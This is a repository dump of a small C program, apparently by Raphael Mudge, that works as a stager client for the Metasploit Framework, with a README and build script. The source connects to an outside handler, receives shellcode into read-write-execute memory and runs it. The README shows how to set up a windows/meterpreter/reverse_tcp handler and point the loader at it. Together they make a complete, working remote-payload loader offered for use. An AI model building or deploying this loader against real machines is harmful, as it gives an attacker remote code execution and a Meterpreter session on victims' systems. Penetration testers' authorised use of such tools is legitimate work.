├── README.md ├── build.bat ├── loader.exe └── src └── main.c /README.md: -------------------------------------------------------------------------------- 1 | A quick stager client compatible with the Metasploit Framework 2 | 3 | Reference: 4 | 5 | 1. http://mail.metasploit.com/pipermail/framework/2012-September/008660.html 6 | 2. http://mail.metasploit.com/pipermail/framework/2012-September/008664.html 7 | 8 | Use: 9 | 10 | 1. Start a multi/handler with your favorite windows reverse_tcp payload 11 | 2. Run: loader.exe [host] [port] 12 | 13 | How to compile: 14 | 15 | 1. Install mingw 16 | 2. Edit build.bat if mingw is installed somewhere other than c:\mingw 17 | 3. run build.bat 18 | 19 | ToDo: 20 | 21 | 1. 64-bit compatability (see message #2) 22 | 2. get a Windows build environment with make 23 | 24 | How to use: 25 | ``` 26 | msf > use exploit/multi/handler 27 | msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp 28 | PAYLOAD => windows/meterpreter/reverse_tcp 29 | msf exploit(handler) > set LPORT 31337 30 | LPORT => 31337 31 | msf exploit(handler) > set LHOST 192.168.95.241 32 | LHOST => 192.168.95.241 33 | msf exploit(handler) > exploit -j 34 | ``` 35 | 36 | loader.exe 192.168.95.241 31337 37 | -------------------------------------------------------------------------------- /build.bat: -------------------------------------------------------------------------------- 1 | set PATH=%PATH%;c:\mingw\bin 2 | gcc -L c:\mingw\lib src\main.c -o loader.exe -lws2_32 3 | -------------------------------------------------------------------------------- /loader.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rsmudge/metasploit-loader/da611f3f2fb6ae40e7dea5e4d81c3756c7e866fc/loader.exe -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * A C-based stager client compat with the Metasploit Framework 3 | * based on a discussion on the Metasploit Framework mailing list 4 | * 5 | * @author Raphael Mudge (raffi@strategiccyber.com) 6 | * @license BSD License. 7 | * 8 | * Relevant messages: 9 | * * http://mail.metasploit.com/pipermail/framework/2012-September/008660.html 10 | * * http://mail.metasploit.com/pipermail/framework/2012-September/008664.html 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | /* init winsock */ 19 | void winsock_init() { 20 | WSADATA wsaData; 21 | WORD wVersionRequested; 22 | 23 | wVersionRequested = MAKEWORD(2, 2); 24 | 25 | if (WSAStartup(wVersionRequested, &wsaData) < 0) { 26 | printf("ws2_32.dll is out of date.\n"); 27 | WSACleanup(); 28 | exit(1); 29 | } 30 | } 31 | 32 | /* a quick routine to quit and report why we quit */ 33 | void punt(SOCKET my_socket, char * error) { 34 | printf("Bad things: %s\n", error); 35 | closesocket(my_socket); 36 | WSACleanup(); 37 | exit(1); 38 | } 39 | 40 | /* attempt to receive all of the requested data from the socket */ 41 | int recv_all(SOCKET my_socket, void * buffer, int len) { 42 | int tret = 0; 43 | int nret = 0; 44 | void * startb = buffer; 45 | while (tret < len) { 46 | nret = recv(my_socket, (char *)startb, len - tret, 0); 47 | startb += nret; 48 | tret += nret; 49 | 50 | if (nret == SOCKET_ERROR) 51 | punt(my_socket, "Could not receive data"); 52 | } 53 | return tret; 54 | } 55 | 56 | /* establish a connection to a host:port */ 57 | SOCKET wsconnect(char * targetip, int port) { 58 | struct hostent * target; 59 | struct sockaddr_in sock; 60 | SOCKET my_socket; 61 | 62 | /* setup our socket */ 63 | my_socket = socket(AF_INET, SOCK_STREAM, 0); 64 | if (my_socket == INVALID_SOCKET) 65 | punt(my_socket, "Could not initialize socket"); 66 | 67 | /* resolve our target */ 68 | target = gethostbyname(targetip); 69 | if (target == NULL) 70 | punt(my_socket, "Could not resolve target"); 71 | 72 | 73 | /* copy our target information into the sock */ 74 | memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length); 75 | sock.sin_family = AF_INET; 76 | sock.sin_port = htons(port); 77 | 78 | /* attempt to connect */ 79 | if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) ) 80 | punt(my_socket, "Could not connect to target"); 81 | 82 | return my_socket; 83 | } 84 | 85 | 86 | int main(int argc, char * argv[]) { 87 | ULONG32 size; 88 | char * buffer; 89 | void (*function)(); 90 | 91 | winsock_init(); 92 | 93 | if (argc != 3) { 94 | printf("%s [host] [port]\n", argv[0]); 95 | exit(1); 96 | } 97 | 98 | /* connect to the handler */ 99 | SOCKET my_socket = wsconnect(argv[1], atoi(argv[2])); 100 | 101 | /* read the 4-byte length */ 102 | int count = recv(my_socket, (char *)&size, 4, 0); 103 | if (count != 4 || size <= 0) 104 | punt(my_socket, "read a strange or incomplete length value\n"); 105 | 106 | /* allocate a RWX buffer */ 107 | buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 108 | if (buffer == NULL) 109 | punt(my_socket, "could not allocate buffer\n"); 110 | 111 | /* prepend a little assembly to move our SOCKET value to the EDI register 112 | thanks mihi for pointing this out 113 | BF 78 56 34 12 => mov edi, 0x12345678 */ 114 | buffer[0] = 0xBF; 115 | 116 | /* copy the value of our socket to the buffer */ 117 | memcpy(buffer + 1, &my_socket, 4); 118 | 119 | /* read bytes into the buffer */ 120 | count = recv_all(my_socket, buffer + 5, size); 121 | 122 | /* cast our buffer as a function and call it */ 123 | function = (void (*)())buffer; 124 | function(); 125 | 126 | return 0; 127 | } 128 | 129 | --------------------------------------------------------------------------------